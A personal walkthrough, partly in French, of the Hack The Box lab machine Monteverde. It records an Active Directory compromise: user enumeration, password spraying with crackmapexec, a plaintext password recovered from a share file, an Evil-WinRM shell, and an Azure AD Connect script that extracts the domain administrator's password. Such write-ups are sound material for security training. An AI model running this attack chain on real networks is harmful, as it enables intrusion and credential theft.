HTB - Monteverde

mercredi 9 avril 2025 14:30

sudo nmap -sV -sC 10.129.228.111 --open
Starting Nmap 7.95 (https://nmap.org) at 2025-04-09 22:44 CEST
Nmap scan report for 10.129.228.111
Host is up (0.033s latency).
Not shown: 988 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-09 20:44:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-04-09T20:44:43
|_ start_date: N/A
|_clock-skew: 2s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.77 seconds

```
┌──(alice㉿kali)-[~/Desktop/HTB/monteverde]
└─$ ./kerbrute_linux_amd64 userenum --dc 10.129.228.111 -d megabank.local users

Version: v1.0.3 (9dad6e1) - 04/10/25 - Ronnie Flathers @ropnop

2025/04/10 13:34:50 >  Using KDC(s):
2025/04/10 13:34:50 >   10.129.228.111:88

2025/04/10 13:34:50 >  [+] VALID USERNAME:       svc-bexec@megabank.local
2025/04/10 13:34:50 >  [+] VALID USERNAME:       roleary@megabank.local
2025/04/10 13:34:50 >  [+] VALID USERNAME:       smorgan@megabank.local
2025/04/10 13:34:50 >  [+] VALID USERNAME:       dgalanos@megabank.local
2025/04/10 13:34:50 >  [+] VALID USERNAME:       svc-netapp@megabank.local
2025/04/10 13:34:50 >  [+] VALID USERNAME:       svc-ata@megabank.local
2025/04/10 13:34:50 >  [+] VALID USERNAME:       dgalanos@megabank.local
2025/04/10 13:34:50 >  Done! Tested 12 usernames (7 valid) in 0.048 seconds
```

```
# AAD_987d7f2f57d2, Users, MEGABANK.LOCAL
dn: CN=AAD_987d7f2f57d2,CN=Users,DC=MEGABANK,DC=LOCAL
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: AAD_987d7f2f57d2
description: Service account for the Synchronization Service with installation
  identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVER
 DE.
distinguishedName: CN=AAD_987d7f2f57d2,CN=Users,DC=MEGABANK,DC=LOCAL
```

```
# SQLServer2005SQLBrowserUser$MONTEVERDE, Users, MEGABANK.LOCAL
dn: CN=SQLServer2005SQLBrowserUser$MONTEVERDE,CN=Users,DC=MEGABANK,DC=LOCAL
objectClass: top
objectClass: group
cn: SQLServer2005SQLBrowserUser$MONTEVERDE
description: Members in the group have the required access and privileges to b
 e assigned as the log on account for the associated instance of SQL Server Br
 owser.
distinguishedName: CN=SQLServer2005SQLBrowserUser$MONTEVERDE,CN=Users,DC=MEGAB
 ANK,DC=LOCAL
```

```
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:Guest STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:smorgan STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:roleary STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:dgalanos STATUS_LOGON_FAILURE
```

SABatchJobs:SABatchJobs

```
┌──(alice㉿kali)-[~/Desktop/HTB/monteverde]
└─$ crackmapexec smb 10.129.228.111 -u SABatchJobs -p SABatchJobs --shares

SMB         10.129.228.111  445    MONTEVERDE       [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domai
SMB         10.129.228.111  445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB         10.129.228.111  445    MONTEVERDE       [+] Enumerated shares
SMB         10.129.228.111  445    MONTEVERDE       Share           Permissions     Remark
SMB         10.129.228.111  445    MONTEVERDE       -----           -----------     ------
SMB         10.129.228.111  445    MONTEVERDE       ADMIN$                          Remote Admin
SMB         10.129.228.111  445    MONTEVERDE       azure_uploads   READ
SMB         10.129.228.111  445    MONTEVERDE       C$                              Default share
SMB         10.129.228.111  445    MONTEVERDE       E$                              Default share
SMB         10.129.228.111  445    MONTEVERDE       IPC$            READ            Remote IPC
SMB         10.129.228.111  445    MONTEVERDE       NETLOGON        READ            Logon server share
SMB         10.129.228.111  445    MONTEVERDE       SYSVOL          READ            Logon server share
SMB         10.129.228.111  445    MONTEVERDE       users$          READ
```

```
┌──(alice㉿kali)-[~/Desktop/HTB/monteverde]
└─$ cat azure.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>
```

4n0therD4y@n0th3r$

```
┌──(alice㉿kali)-[~/Desktop/HTB/monteverde]
└─$ crackmapexec smb 10.129.228.111 -u users -p 4n0therD4y@n0th3r$ --continue-on-success
SMB         10.129.228.111  445    MONTEVERDE       [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\SQLServer2005SQLBrowserUser:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\dgalanos:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-ata:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-bexec:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-netapp:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\Reception:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\Operations:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\Trading:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\HelpDesk:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\Developers:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\dgalanos:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB         10.129.228.111  445    MONTEVERDE       [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$
```

mhope : 4n0therD4y@n0th3r$

On peut se connecter avec winrm :

```
*Evil-WinRM* PS C:\Users\mhope\desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\mhope\desktop>
```

Explication ici :
https://hack2know.how/2020/04/htb-monteverde-write-up/

https://medium.com/@hughbrown123/walk-through-hints-monteverde-htb-9db0f66cd745

```
*Evil-WinRM* PS C:\Users\mhope\Documents> Get-Service ADSync

Status   Name               DisplayName
------   ----               -----------
Running  ADSync             Microsoft Azure AD Sync
                            Perhaps possible to do the
                            Azure version of DCsync?
```

Ce fichier sert à gérer les clés et le déchiffrement des données de la base de données.

Cela tombe bien, avec **WindowsEnum** nous avons également pu découvrir d'autres ports ouverts mais non accessibles de l'exterieur, notamment le port **Microsoft SQL TCP 1433** :

```
----------------------------------------
  Network Connections
----------------------------------------

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       652
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       948
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       652
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       652
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       948
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       652
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       3476
```

Base de données SQL active

Il semble donc possible d'extraire facilement les données contenues dans la base de données.

https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1

Azure-ADConnect -server 10.129.228.111 -db ADSyncc

```
*Evil-WinRM* PS C:\Users\mhope\desktop> Azure-ADConnect -server 10.129.228.111 -db ADSyncc
[+] Domain:  MEGABANK.LOCAL
[+] Username: administrator
[+]Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\desktop>
```

On se connecte avec evil-winrm

Et on a le flag.